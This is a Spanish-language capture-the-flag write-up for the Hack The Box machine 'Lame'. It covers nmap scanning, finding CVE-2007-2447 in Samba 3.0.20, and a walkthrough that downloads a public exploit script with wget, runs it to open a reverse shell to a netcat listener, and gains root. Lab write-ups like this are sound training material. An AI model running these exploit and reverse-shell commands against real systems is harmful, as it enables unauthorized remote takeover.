HTB-Lame
Reconocimiento
nmap -sCV 10.10.10.3 --min-rate 5000 -Pn
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.9
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2022-04-01T06:53:09-04:00
|_clock-skew: mean: 2h06m00s, deviation: 2h49m43s, median: 5m59s
Al mirar el resultado del nmap, vemos que el puerto 139 tiene un smb abierto y probablemente sea la misma versión que el puerto 445 por lo tanto buscamos un exploit en la base de datos searchsploit.
└─$ searchsploit samba 3.0
Exploit Title
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)
Aunque ponga que usa Metasploit, podemos buscar por google el script para poder usarlo sin Metasploit como por ejemplo: CVE-2007-2447
Explotación
Nos descargamos el exploit:
wget https://raw.githubusercontent.com/amriunix/CVE-2007-2447/master/usermap_script.py
Para usarlo lo tiramos con python y tendremos que tener un netcat en escucha.
python usermap_script.py 10.10.10.3 139 10.10.14.9 443 #ejecución
nc -lvp 443 #netcat
Y el usuario que obtenemos en root.
root@lame:/# whoami
root
root@lame:/# ifconfig
eth0 Link encap:Ethernet HWaddr 00:50:56:b9:68:4b
inet addr:10.10.10.3 Bcast:10.10.10.255 Mask:255.255.255.0
Flag makis:
root@lame:/home/makis# ls
user.txt
root@lame:/home/makis#
Flag root:
root@lame:/root# ls
Desktop reset_logs.sh root.txt vnc.log
root@lame:/root#